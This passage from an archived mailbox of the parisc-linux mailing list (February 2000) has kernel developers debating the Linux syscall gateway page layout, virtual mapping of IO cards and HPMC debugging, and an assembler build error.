space.  That is my experience.  YMMV.

What percentage of the bugs that are caused by a driver mismanaging a
pointer to its card space would be significantly helped by page faulting,
rather than HPMC'ing? Although an HPMC can be delayed, I've found in
the majority of the cases it was either right on, or one instruction off.

I'm not trying to argue against virtually mapping the card (although I
would be all for avoiding mapping a large graphics frame buffer in the
kernel address space). I just want to be sure we do it for the right
reasons.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:11:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Wed, 16 Feb 2000 18:41:23 +0100
Lines: 90
Approved: news@gmane.org
Message-ID: <20000216184122.Q765@abacus.local>
References: <200002161357.GAA11682@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618775 30479 80.91.229.3 (22 Nov 2014 01:12:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: prumpf@inwestnet.de  Wed Feb 16 11:41:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA21894
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Feb 2000 11:41:58 -0700
Original-Received: (qmail 31321 invoked by uid 15267); 16 Feb 2000 17:42:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31289 invoked from network); 16 Feb 2000 17:42:34 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 16 Feb 2000 17:42:34 -0000
Original-Received: (qmail 25244 invoked from network); 16 Feb 2000 17:42:26 -0000
Original-Received: from port0025.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.25)
  by mail.ginko.net with SMTP; 16 Feb 2000 17:42:26 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id SAA13406;
	Wed, 16 Feb 2000 18:42:25 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200002161357.GAA11682@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Wed, Feb 16, 2000 at 06:57:08AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6844

> > > But Perhaps we can have a 16 Mb offset instead.
> >
> > I think not mapping the first 64 KB and making a copy of page 0 somewhere
> > else would make sense.  Then we could use the first 64 KB of the virtual
> > address space to implement gateway pages.
> 
> We can probably use a smaller offset than 16 Mb but 64 Kb won't work.  We

I didn't propose any offset.  I proposed to do the mapping somewhat like this:

virt		phys
0000 0000 	somewhere (whereever our syscall page is)
0000 1000 	- (invalid)
 ...
0000 f000	- (invalid)
0001 0000 	0001 0000
 ...
01ff f000	01ff f000

for a 32 MB box.  This is why I said we should make a copy of page 0.

> Rereading what you said above made me realize that you probably were not
> talking about a 64 Kb offset. If so, then you are talking about
> still using an offset of 0, but just not mapping the first 64 Kb a memory,
> i.e. throwing those pages "away" (actually we can probably find ways
> to use them). The only problem with this is that we would be prevented
> from using maximally large tlb mappings to map the first 64 Mb of memory.

I don't think I care.  Note that this is for PA1.1 anyway, so we don't have
large pages architecturally.

> If we moved the offset to 64 Mb we could use 64 Mb page size mappings
> to map the kernel address space. The cost of this is that it reduces
> the amount of physical memory we can support.  We can't support 4 Gb
> (at least not easily), since we need virtual space for the vmalloc area.
> So I'm not sure losing 64 Mb of virtual space at the bottom end is that
> much of an issue.
> 
> What is the largest amount of physical memory we want to support for the
> 32 bit implementation?  How hard do we want to work to achieve it?  We
> can't support more than 4 Gb.  It would take some work to support 4 Gb.
> My feeling is that if we supported 3.5 Gb max that would be more than
> adequate.  We could use a 64 Mb offset and use 64 Mb page size mappings to
> cover the kernel address space.  This should leave enough space for the
> vmalloc area.

IMHO, don't map the first 64 KB, map the first 3.25 GB - 64 KB, then have
512 MB vmalloc space, then 256 MB I/O space.  (For newer boxes it looks like
the 64 KB we don't map should be more like 1 MB).

> > I don't see a real problem with that.  Modifying SR2 requires either direct
> > modification (the only code I could see doing that is HP/UX code, which isn't
> > supposed to execute with PER_LINUX anytime soon) or executing random bytes,
> > which will always break in unexpected ways.
> >
> 
> I agree that it is not a significant enough problem to stop us from doing
> this. So, I propose the following:
> 
>     1) When we move the kernel virtual mappings we will leave room at
>     the bottom to a) properly trap on null pointer dereferences, and
>     b) provide room for a Linux syscall gateway page in the kernel
>     address space (space 0). This gateway page will be located at an
>     offset within the positive offset range of a ble instruction.

If you mean "not map the first 64 KB - 1 MB" by "leave room", I agree.

>     2) We will set sr2 to zero for each process.

Agreed.

>     3) We will only map an HP-UX syscall gateway page into HP-UX
>     processes, i.e. we will not map any gateway page into the user
>     address space for PER_LINUX processes.

agreed.

>     4) Linux syscalls will use the following 2 instruction sequence
>     to reach the gateway page:
> 
> 	ble <gateway offset>)(%sr2,%r0)
> 	ldi <syscall #>,%r20

I'd prefer to fix gateway offset now - it's a pretty arbitrary decision,
but it might break binary compatibility lateron.  My proposal is 0x100.

So did anyone think about how to write the actual syscall asm statements ?
it seems rather hard to me, at least without writing the actual functions
directly and having one more level of indirection ...


From - Thu Nov 08 21:11:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Virtual mapping of IO cards
Date: Wed, 16 Feb 2000 10:38:05 -0800
Lines: 75
Approved: news@gmane.org
Message-ID: <200002161838.KAA07528@milano.cup.hp.com>
References: <200002161525.IAA14558@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618776 30481 80.91.229.3 (22 Nov 2014 01:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Feb 16 12:37:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA22501
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Feb 2000 12:37:38 -0700
Original-Received: (qmail 20675 invoked by uid 15267); 16 Feb 2000 18:38:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20656 invoked from network); 16 Feb 2000 18:38:16 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 16 Feb 2000 18:38:16 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id E941155
	for <parisc-linux@thepuffingroup.com>; Wed, 16 Feb 2000 13:38:15 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id KAA07528; Wed, 16 Feb 2000 10:38:06 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 16 Feb 2000 08:25:17 PST."
             <200002161525.IAA14558@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6845

John Marvin wrote:
...
> Virtually mapping the card doesn't help with HPMC's caused by dma buffer
> mismanagement (i.e. the card causes the HPMC while mastering the bus).

But it generally helps one tell the difference.

> 
> Drivers for memory mapped register only cards, i.e. cards without any
> type of onboard memory (i.e. framebuffers, script memory, etc.) are
> not very likely to ever run into a bug of this type, since register
> pointers are usually set up once and never changed.

Agreed. "not very likely" and "never" are not the same. When bringing
up new drivers, it is in fact more likely than for a mostly working
driver. So while I agree with the statement, I don't agree with the
conclusion.


> In my experience, the majority of HPMC's have been caused by VM errors.

That's cuz you work mostly on VM! :^)

For me, it's been mostly device driver bugs (drivers loosing DMA addresses)
and some I/O MMU code bugs.

> Then comes the two cases mentioned above (card not responding, dma
> errors).  In my experience, the majority of driver page faults were caused
> by memory references (i.e. mismanaging memory buffers), not IO space
> references.

Agreed.

> I can't say I've ever seen a driver page fault bug (i.e. one
> that would have HPMC'd in the current Linux implementation) that was
> caused by the driver mismanaging a pointer to its virtually mapped card
> space.  That is my experience.  YMMV.

I have. The driver control structure got corrupted.
I've worked on so many memory corruption problems.
I can't imagine debugging them if an errant driver were
scribbling in real mode to random places in memory.
AFAICT, the whole point of virtual mode is to avoid this.

> What percentage of the bugs that are caused by a driver mismanaging a
> pointer to its card space would be significantly helped by page faulting,
> rather than HPMC'ing? Although an HPMC can be delayed, I've found in
> the majority of the cases it was either right on, or one instruction off.

Very small. But I am still convinced it's worth it.

AFAIK, the processor can only HPMC if a LOAD times out.
What about processor STORE?

I know stores to I/O devices which have "gone fatal" will complete.
I don't know about stores to "unused" I/O space (no device response).
I assume stores to physical memory while in real mode will complete too.
I'd really like to avoid that. Stores from virtual mode are likely
to data page fault (not always) while in real mode I had the impression
they never would. Is this correct?

> 
> I'm not trying to argue against virtually mapping the card (although I
> would be all for avoiding mapping a large graphics frame buffer in the
> kernel address space). I just want to be sure we do it for the right
> reasons.

ok. Fair enough.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Location of HIL protocol docs?
Date: Wed, 16 Feb 2000 10:42:51 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <200002161842.KAA07552@milano.cup.hp.com>
References: <Pine.BSO.4.21.0002160902200.1173-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618776 30483 80.91.229.3 (22 Nov 2014 01:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: grundler@cup.hp.com  Wed Feb 16 12:41:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA22674
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Feb 2000 12:41:08 -0700
Original-Received: (qmail 23162 invoked by uid 15267); 16 Feb 2000 18:41:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23145 invoked from network); 16 Feb 2000 18:41:47 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 16 Feb 2000 18:41:47 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 37635A41; Wed, 16 Feb 2000 13:41:46 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id KAA07552; Wed, 16 Feb 2000 10:42:51 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 16 Feb 2000 09:04:38 PST."
             <Pine.BSO.4.21.0002160902200.1173-100000@mojo.calyx.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:6846

"Brian S. Julin" wrote:

> Anyone got a link to tech docs on HIL?

HIL comes off the "WAX" (EISA Bus Adapter chip) on C200.
I assume the same is true for any box which supports EISA.
(ie 715/725, GSCtoPCI workstations).

I don't know if WAX documents will ever get published.
Probably but not right away if they aren't already.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@mvista.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Virtual mapping of IO cards
Date: Wed, 16 Feb 2000 13:45:58 -0800
Organization: Montavista Software, Inc
Lines: 60
Approved: news@gmane.org
Message-ID: <38AB1A96.A7469A04@mvista.com>
References: <200002161525.IAA14558@udlkern.fc.hp.com>
Reply-To: frowand@mvista.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618776 30485 80.91.229.3 (22 Nov 2014 01:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: frank_rowand@mvista.com  Wed Feb 16 15:45:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA23523
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Feb 2000 15:45:26 -0700
Original-Received: (qmail 7464 invoked by uid 15267); 16 Feb 2000 21:46:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7443 invoked from network); 16 Feb 2000 21:46:05 -0000
Original-Received: from gateway.mvista.com (HELO hermes.mvista.com) (63.192.220.206)
  by mailserv2.iuinc.com with SMTP; 16 Feb 2000 21:46:05 -0000
Original-Received: from mvista.com (IDENT:frowand@mossi.mvista.com [10.0.0.71])
	by hermes.mvista.com (8.9.3/8.9.3) with ESMTP id NAA14260;
	Wed, 16 Feb 2000 13:45:59 -0800
Original-Sender: frowand@hermes.mvista.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20b i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6847

John Marvin wrote:
> 
> Note: I've changed the subject, because I think this issue is mostly
> separate from the Linux syscall issue.
> 
> > An HPMC may be delayed, relative to the instruction that caused it.  The
> > worst case is that a context switch _could_ occur before the HPMC occurs
> > (and yes, we did see this problem with our HP-UX and HP-RT VME systems
> > when a VME time-out was long enough).  This can make it more difficult to
> > figure out what instruction was issued to cause the HPMC.  The advantage
> > of the page fault is that you know exactly what instruction caused the
> > fault.
> 
> But this doesn't help make your case.  You got the HPMC anyway because the
> card failed to respond in time.  The virtual mapping didn't help you.
> 
> Virtually mapping the card doesn't help with HPMC's caused by dma buffer
> mismanagement (i.e. the card causes the HPMC while mastering the bus).
> 
> Drivers for memory mapped register only cards, i.e. cards without any
> type of onboard memory (i.e. framebuffers, script memory, etc.) are
> not very likely to ever run into a bug of this type, since register
> pointers are usually set up once and never changed.
> 
> In my experience, the majority of HPMC's have been caused by VM errors.
> Then comes the two cases mentioned above (card not responding, dma
> errors).  In my experience, the majority of driver page faults were caused
> by memory references (i.e. mismanaging memory buffers), not IO space
> references.  I can't say I've ever seen a driver page fault bug (i.e. one
> that would have HPMC'd in the current Linux implementation) that was
> caused by the driver mismanaging a pointer to its virtually mapped card
> space.  That is my experience.  YMMV.
> 
> What percentage of the bugs that are caused by a driver mismanaging a
> pointer to its card space would be significantly helped by page faulting,
> rather than HPMC'ing? Although an HPMC can be delayed, I've found in
> the majority of the cases it was either right on, or one instruction off.


Yes, an HPMC caused by a read will behave as you describe.  It's the
case of a write that may be delayed by passing through one or more queues.


> I'm not trying to argue against virtually mapping the card (although I
> would be all for avoiding mapping a large graphics frame buffer in the
> kernel address space). I just want to be sure we do it for the right
> reasons.
> 
> John Marvin
> jsm@fc.hp.com
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-Frank
-- 
MontaVista Software, Inc
frank_rowand@mvista.com


From - Thu Nov 08 21:11:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Thu, 17 Feb 2000 07:17:36 -0700 (MST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200002171417.HAA08629@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618776 30489 80.91.229.3 (22 Nov 2014 01:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Thu Feb 17 08:16:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA28817
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Feb 2000 08:16:59 -0700
Original-Received: (qmail 32716 invoked by uid 15267); 17 Feb 2000 14:17:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32709 invoked from network); 17 Feb 2000 14:17:38 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 17 Feb 2000 14:17:38 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id HAA00213
	for <parisc-linux@thepuffingroup.com>; Thu, 17 Feb 2000 07:17:37 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id HAA08629 for parisc-linux@thepuffingroup.com; Thu, 17 Feb 2000 07:17:36 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6848

>
> I don't think I care.  Note that this is for PA1.1 anyway, so we don't have
> large pages architecturally.

But we do have an even smaller resource of block tlb's that can also
map a maximum of 64 Mb at a time, and which also need to be aligned
to there same size that they map. For this reason it might be worth
considering having a 64 Mb offset rather than a 0 offset and not mapping
the first 64 Kb.

>
> I'd prefer to fix gateway offset now - it's a pretty arbitrary decision,
> but it might break binary compatibility lateron.  My proposal is 0x100.

That's fine with me. We can put break instructions in 0x00-0xfc to catch
anyone branching through a null function pointer.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:11:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Virtual mapping of IO cards
Date: Thu, 17 Feb 2000 07:37:52 -0700 (MST)
Lines: 41
Approved: news@gmane.org
Message-ID: <200002171437.HAA08803@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618777 30495 80.91.229.3 (22 Nov 2014 01:12:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Thu Feb 17 08:37:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA29188
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Feb 2000 08:37:14 -0700
Original-Received: (qmail 13529 invoked by uid 15267); 17 Feb 2000 14:37:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13519 invoked from network); 17 Feb 2000 14:37:53 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 17 Feb 2000 14:37:53 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id HAA02028
	for <parisc-linux@thepuffingroup.com>; Thu, 17 Feb 2000 07:37:52 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id HAA08803 for parisc-linux@thepuffingroup.com; Thu, 17 Feb 2000 07:37:52 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6849

> >
> > Drivers for memory mapped register only cards, i.e. cards without any
> > type of onboard memory (i.e. framebuffers, script memory, etc.) are
> > not very likely to ever run into a bug of this type, since register
> pointers are usually set up once and never changed.
>
> Agreed. "not very likely" and "never" are not the same. When bringing
> up new drivers, it is in fact more likely than for a mostly working
>  driver. So while I agree with the statement, I don't agree with the
> conclusion.

I guess I was mostly talking from a released version perspective, not a
development perspective.  During development you would actually get even
more debug information if you just put driver specific range checking into
a private version of the read/write macro's (i.e. you could get source
code line numbers, etc.)

I really am not trying to argue strongly against mapping the cards. I
see only two performance issues:

    1) PCXL2 processors require that the U bit be set for IO mappings.
    As far as I can tell, this is the only processor that requires this.
    The TLB miss handlers don't currently support this. We would have
    to add support for it in the D miss handler. Since the U bit is
    in an inconvenient location it would require a separate test and
    deposit, making all code pay the penalty of the additional
    instructions. Perhaps we would eventually want to add the U bit
    support anyway, but not all processors support it (the
    PCXS and PCXT processors do not support it).

    2) I really would like to avoid mapping the framebuffer into
    the kernel address space. Perhaps maybe that is not really an
    issue, since after boot the user will bring up X windows and
    the kernel mapping won't actually be actively used (I'm assuming
    that graphics on Linux maps the framebuffer into the user address
    space, but I haven't checked to be sure).

So, if you want to map the cards, I'm not going to oppose that.

John


From - Thu Nov 08 21:11:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] field out of range
Date: Thu, 17 Feb 2000 10:25:52 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20000217102552.D9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618777 30500 80.91.229.3 (22 Nov 2014 01:12:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Feb 17 09:25:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA29566
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Feb 2000 09:25:13 -0700
Original-Received: (qmail 13076 invoked by uid 15267); 17 Feb 2000 15:25:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13067 invoked from network); 17 Feb 2000 15:25:53 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 17 Feb 2000 15:25:53 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id KAA24574
	for parisc-linux@thepuffingroup.com; Thu, 17 Feb 2000 10:25:53 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6850


The autobuild is turning up some problems like this:

gcc -I/home/pf/dkennedy/linux-2.3/include -D__KERNEL__ -I/home/pf/dkennedy/linux-2.3/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing -D__linux__ -pipe -fno-strength-reduce   -c -o on26.o on26.c
{standard input}: Assembler messages:
{standard input}:14413: Error: Field out of range [-8184..8199] (10172).
{standard input}:14413: Error: Field out of range [-8184..8199] (10276).

Does anyone recognise this problem, and if so could they tell me what
the problem is?  This is egcs-2.91.66 according to --version.  All the
files which exhibit this problem are non-essential; this one is in paride.
There's another one in USB, iirc.


From - Thu Nov 08 21:11:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] field out of range
Date: Thu, 17 Feb 2000 16:52:28 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20000217165228.S765@abacus.local>
References: <20000217102552.D9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618777 30502 80.91.229.3 (22 Nov 2014 01:12:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: prumpf@inwestnet.de  Thu Feb 17 09:53:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA29943
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Feb 2000 09:53:03 -0700
Original-Received: (qmail 32226 invoked by uid 15267); 17 Feb 2000 15:53:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32200 invoked from network); 17 Feb 2000 15:53:32 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 17 Feb 2000 15:53:32 -0000
Original-Received: (qmail 3853 invoked from network); 17 Feb 2000 15:53:28 -0000
Original-Received: from port0812.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.50)
  by mail.ginko.net with SMTP; 17 Feb 2000 15:53:28 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id QAA16362;
	Thu, 17 Feb 2000 16:53:29 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <20000217102552.D9944@thepuffingroup.com>; from willy@thepuffingroup.com on Thu, Feb 17, 2000 at 10:25:52AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6851

> gcc -I/home/pf/dkennedy/linux-2.3/include -D__KERNEL__ -I/home/pf/dkennedy/linux-2.3/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing -D__linux__ -pipe -fno-strength-reduce   -c -o on26.o on26.c
> {standard input}: Assembler messages:
> {standard input}:14413: Error: Field out of range [-8184..8199] (10172).
> {standard input}:14413: Error: Field out of range [-8184..8199] (10276).

could you please send the assembler source generated by gcc -S for this ?
My guess is gcc has problems with very long code sequences and relative
branches.


>From looking at on26.c, it seems to make extensive use of cpp, which might
bloat the code unnecessarily.

	Philipp Rumpf


From - Thu Nov 08 21:11:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@mvista.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Virtual mapping of IO cards
Date: Thu, 17 Feb 2000 10:49:15 -0800
Organization: Montavista Software, Inc
Lines: 23
Approved: news@gmane.org
Message-ID: <38AC42AB.A0C41847@mvista.com>
References: <200002161838.KAA07528@milano.cup.hp.com>
Reply-To: frowand@mvista.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618778 30506 80.91.229.3 (22 Nov 2014 01:12:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:58 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: frank_rowand@mvista.com  Thu Feb 17 12:52:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA31202
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Feb 2000 12:52:47 -0700
Original-Received: (qmail 7986 invoked by uid 15267); 17 Feb 2000 18:53:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7963 invoked from network); 17 Feb 2000 18:53:25 -0000
Original-Received: from gateway.mvista.com (HELO hermes.mvista.com) (63.192.220.206)
  by mailserv2.iuinc.com with SMTP; 17 Feb 2000 18:53:25 -0000
